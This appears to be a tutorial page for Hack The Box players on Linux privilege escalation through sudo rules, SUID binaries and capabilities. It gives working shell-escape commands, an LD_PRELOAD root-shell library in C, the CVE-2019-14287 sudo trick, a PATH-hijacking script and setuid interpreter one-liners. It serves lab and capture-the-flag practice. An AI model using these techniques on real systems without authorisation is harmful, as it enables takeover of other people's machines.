Linux privilege escalation: sudo, SUID and capabilities

The three checks that give the most roots on Hack The Box: what sudo lets you run, which binaries are SUID and which capabilities they carry, with the usual abuse for each case.

· 4 min read

You just landed as www-data or a regular user. Before firing linPEAS and getting lost in 2,000 lines, check these three things by hand: across the machines in this catalogue, sudo is by far the most common route to root.

sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null

sudo -l

sudo -l tells you what you can run as another user. Read the output carefully:

User alex may run the following commands on box:
    (root) NOPASSWD: /usr/bin/vim /etc/nginx/nginx.conf
    (ALL, !root) /bin/bash
    (root) SETENV: /opt/scripts/backup.sh
    env_keep+=LD_PRELOAD

A well-known binary

If it is a regular program (vim, less, find, awk, tar, git, python...), look it up on GTFOBins, Sudo section. Almost all of them let you spawn a shell:

sudo vim -c ':!/bin/sh'
sudo less /etc/profile        # then type  !sh
sudo find . -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo git -p help config       # then  !/bin/sh

Tip

Even if the rule pins the arguments (/usr/bin/vim /etc/nginx/nginx.conf), once inside vim you can still run commands. What matters is whether the program lets you escape to a shell.

A custom script

If it is a script (/opt/scripts/backup.sh), read all of it and ask yourself:

  • Can I write to the script or its folder? Then change it.
  • Does it call programs without an absolute path (tar instead of /usr/bin/tar)? If the rule has SETENV or there is no secure_path, put your own tar first in the PATH (path hijacking).
  • Does it use * on files you control? Wildcards turn into options (--checkpoint-action=exec=... for tar).
  • Does it import a Python library or load something from a folder you can write to?
  • Does it compare with an unquoted == in bash ([[ $pass == $input ]])? A * passes the check and you can extract the password one character at a time.

LD_PRELOAD

If the output shows env_keep+=LD_PRELOAD, any allowed command will do. Build a library that spawns a shell when it loads:

// /tmp/x.c   ->   gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
#include <stdlib.h>
#include <unistd.h>

void _init(void) {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
sudo LD_PRELOAD=/tmp/x.so /usr/bin/whatever_you_are_allowed

(ALL, !root)

The rule (ALL, !root) /bin/bash means "as anyone except root". On sudo before 1.8.28, user -1 turns into 0 (CVE-2019-14287):

sudo -u#-1 /bin/bash

SUID binaries

A binary with the SUID bit runs with its owner's permissions. If the owner is root and the program lets you run something, you are root.

find / -perm -4000 -type f -ls 2>/dev/null

Ignore the usual ones (passwd, su, mount, sudo, chsh...) and focus on the odd ones: things in /opt, /usr/local/bin, or programs that should not be SUID (find, bash, python, vim, cp). GTFOBins has a SUID section for those:

./find . -exec /bin/sh -p \; -quit
/usr/bin/bash -p

Important

The -p is key. Without it, bash and dash drop privileges on start-up when the real and effective UIDs differ, and you are back to your own user.

Custom SUID binaries

If it is a custom binary, see what it does before diving into reversing:

strings -n 6 /usr/local/bin/monitor
ltrace /usr/local/bin/monitor     # library calls: system(), strcmp()...
strace -f -e trace=execve,openat /usr/local/bin/monitor

If you see something like system("service apache2 status"), the program calls service without a path:

cd /tmp
printf '#!/bin/bash\n/bin/bash -p\n' > service && chmod +x service
PATH=/tmp:$PATH /usr/local/bin/monitor

If it reads or writes files, try symlinks. If it is a binary with badly handled input, you are into buffer overflow territory.

Capabilities

Capabilities split root's powers into pieces. A binary can hold just one of them and that can still be enough.

getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid+ep
Capability Abuse
cap_setuid Switch to UID 0 and spawn a shell
cap_dac_read_search Read any file (/etc/shadow, root's SSH keys)
cap_dac_override Write to any file (/etc/passwd, /etc/sudoers)
cap_chown, cap_fowner Take ownership of /etc/shadow or change its permissions
cap_sys_admin Mount filesystems and much more; nearly root
cap_sys_ptrace Inject code into a root process
cap_net_raw Sniff traffic (tcpdump): cleartext passwords on the local network

With cap_setuid on an interpreter:

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

If none of this works

Move on to the next most likely routes in this catalogue: cron jobs (watch them with pspy), credentials in files, password reuse, groups such as docker, lxd or disk, and services listening only on localhost (see the port forwarding guide).

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Sudo abuse 61 machines

See all 61 machines →

SUID binaries 16 machines

See all 16 machines →

Linux capabilities 4 machines

PATH hijacking 8 machines

See all 8 machines →

Spotted a mistake or something missing? Tell us